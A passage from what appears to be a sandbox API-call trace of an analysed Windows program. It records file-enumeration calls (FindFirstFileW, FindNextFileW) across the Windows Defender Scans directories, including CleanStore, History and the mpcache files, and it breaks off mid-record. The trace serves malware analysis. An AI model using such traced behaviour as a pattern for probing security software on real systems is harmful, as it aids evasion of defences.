FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanStore", cAlternateFileName="CLEANS~1")) returned 1 [0226.220] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06b4edd, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd06b4edd, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd06b4edd, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0226.220] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaStore", cAlternateFileName="METAST~1")) returned 1 [0226.220] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf141f151, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf141f151, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0xa2b1a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin", cAlternateFileName="MPCACH~1.BIN")) returned 1 [0226.220] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf90caa0a, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x18ea5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.5B", cAlternateFileName="MPCACH~1.5B")) returned 1 [0226.221] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf89c9d40, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf89c9d40, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8ceae5e, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x6a1ab6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.67", cAlternateFileName="MPCACH~1.67")) returned 1 [0226.221] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf8d374fb, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8d374fb, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8d83941, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x3b14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.79", cAlternateFileName="MPCACH~1.79")) returned 1 [0226.221] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf8da9a4e, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8da9a4e, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8da9a4e, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x529000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.7C", cAlternateFileName="MPCACH~1.7C")) returned 1 [0226.221] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e8ea4a, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8e8ea4a, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf8e8ea4a, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x3cff18, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.7E", cAlternateFileName="MPCACH~1.7E")) returned 1 [0226.221] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8fe5e00, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf8fe5e00, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf900c0a9, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0xcfdc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.80", cAlternateFileName="MPCACH~1.80")) returned 1 [0226.222] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.83", cAlternateFileName="MPCACH~1.83")) returned 1 [0226.222] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf900c0a9, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf900c0a9, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf900c0a9, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x1a3a61, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.87", cAlternateFileName="MPCACH~1.87")) returned 1 [0226.222] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf90582ee, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf90582ee, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x358f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.A0", cAlternateFileName="MPCACH~1.A0")) returned 1 [0226.222] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x5fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.CB", cAlternateFileName="MPCACH~1.CB")) returned 1 [0226.222] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf907e70d, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf907e70d, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf907e70d, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x441a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpcache-9899DBE4D8BB3D253EB4F285757BEBAF1581B50F.bin.CC", cAlternateFileName="MPCACH~1.CC")) returned 1 [0226.223] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06b4edd, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd06b4edd, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x63bd6e5a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpDiag.bin", cAlternateFileName="")) returned 1 [0226.223] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf141f151, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf141f151, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf141f151, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtSigs", cAlternateFileName="")) returned 1 [0226.223] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.223] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0226.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0226.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.224] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry", lpFilePart=0x0) returned 0x46 [0226.224] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanfiletelemetry\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.226] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.226] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.226] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.226] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry", lpFilePart=0x0) returned 0x46 [0226.226] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanfiletelemetry\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.227] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.227] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.227] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.227] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore", lpFilePart=0x0) returned 0x3e [0226.227] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.228] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.229] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Entries", cAlternateFileName="")) returned 1 [0226.229] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceData", cAlternateFileName="RESOUR~1")) returned 1 [0226.229] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~2")) returned 1 [0226.229] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~2")) returned 0 [0226.229] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0226.230] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore", lpFilePart=0x0) returned 0x3e [0226.230] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.230] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.230] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Entries", cAlternateFileName="")) returned 1 [0226.230] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceData", cAlternateFileName="RESOUR~1")) returned 1 [0226.231] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~2")) returned 1 [0226.231] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.231] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0226.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0226.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0226.231] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries", lpFilePart=0x0) returned 0x46 [0226.231] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\cleanstore\\entries\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0226.232] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: lpFindFileData=0x1dc9d830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf913d3e5, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf913d3e5, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf913d3e5, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.232] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1dc9d830 | out: 